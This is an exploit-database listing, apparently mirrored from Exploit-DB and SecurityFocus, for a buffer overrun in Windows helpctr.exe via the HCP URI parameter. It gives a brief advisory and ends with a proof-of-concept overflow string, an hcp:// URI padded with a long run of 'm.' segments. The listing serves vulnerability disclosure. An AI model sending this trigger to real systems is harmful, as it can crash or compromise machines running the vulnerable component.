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Buffer Overrun Vulnerability in helpctr.exe - exploit.company
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Suggest Exploit
vendor:
Unknown
by:
Unknown
9
CVSS
CRITICAL
Buffer Overrun
119
CWE
Product Name: Unknown
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE: Unknown
CPE: helpctr.exe
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

Buffer Overrun Vulnerability in helpctr.exe

The vulnerability exists due to insufficient bounds checking on input supplied via the HCP URI parameter. An attacker can exploit this vulnerability by making a HCP request with an overly long string. This will trigger the overflow condition and may result in malicious attacker-supplied code being executed on the vulnerable system.

Mitigation:

Unknown
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6802/info

A buffer overrun vulnerability was reported for helpctr.exe. The vulnerability exists due to insufficient bounds checking on input supplied via the HCP URI parameter. 

An attacker can exploit this vulnerability by making a HCP request with an overly long string. This will trigger the overflow condition and may result in malicious attacker-supplied code being executed on the vulnerable system.

hcp://m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.
m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m